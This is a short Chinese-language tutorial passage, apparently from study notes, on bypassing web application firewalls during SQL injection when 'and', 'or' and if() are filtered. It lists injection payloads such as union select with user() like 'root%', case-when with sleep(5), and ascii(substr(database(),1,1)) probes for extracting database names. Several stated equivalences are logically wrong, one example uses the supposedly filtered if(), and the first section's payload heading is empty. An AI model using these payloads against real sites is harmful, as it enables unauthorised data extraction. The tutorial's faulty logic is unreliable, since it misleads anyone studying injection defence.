1. 利用逻辑运算符的符号替代

在某些情况下，WAF（Web Application Firewall）可能只过滤了关键字，而忽略了它们的符号表示

Payload 实例：

2. 利用!、<>、not 等操作符

通过巧妙地结合其他逻辑或比较操作符，我们可以构造出等价的判断逻辑

and 的替代：
- if not (a=1) then ... 等价于 if a<>1 then ...
- 我们可以利用 not 或 <> 来否定条件，从而实现 and 的效果
- 例如： username=admin' or not ('1'='1' and '1'='2') 这句可以被改写为 username=admin' or not (1=1)，这在逻辑上是错误的，我们可以利用它来测试
- 更具体的绕过： id=1 and 1=2 可以被改写为 id=1 or not 1=1，这在布尔盲注中可以用来判断

3. 利用union select进行盲注

当布尔条件失效时，可以尝试使用 union select 来进行盲注

原理：
- 正常情况下，union select 需要前后两个查询的列数一致
- 我们可以利用这一点，通过 union select 来注入一个不存在的列，从而触发数据库的报错，通过报错信息来判断
绕过方式：
- 首先，使用 union 探测列数。 id=1 union select 1,2,3...
- 然后，利用列数来进行盲注。 id=-1 union select 1, 2, user() like 'root%' 如果页面正常回显，则说明 user() 以 root 开头。通过这种方式，可以逐字逐句地猜解数据

4. 利用if()函数的替代品

在布尔盲注中，if() 函数通常是不可或缺的。如果它和 and or 一起被过滤，那么需要寻找替代函数

case when ... then ... end： 这是 if() 函数最常见的替代品，功能完全一样，且通常不会被过滤
- 例如： id=1 and (case when 1=1 then sleep(5) else 0 end)
- 绕过： id=1 or (case when (database() like 'd%') then sleep(5) else 0 end)
greatest() 和 least()： 这两个函数返回一组值中的最大值和最小值。我们可以利用它们来构造条件判断
- 例如： id=1 and greatest(1, (select if(1=1, 0, 1)))
- 绕过： id=1 or greatest(ascii(substr(database(),1,1)), 100)>100

5. 利用其他查询特性

当所有常用方法都被过滤时，可以尝试利用一些非常规的查询特性

having 子句： having 用于对 group by 的结果进行过滤。在一些情况下，having 后面可以接子查询，可以利用这一点进行注入
limit offset： 我们可以通过 limit 和 offset 来逐行读取数据，再结合其他技术进行判断

4.16 and or 被过滤怎么绕过

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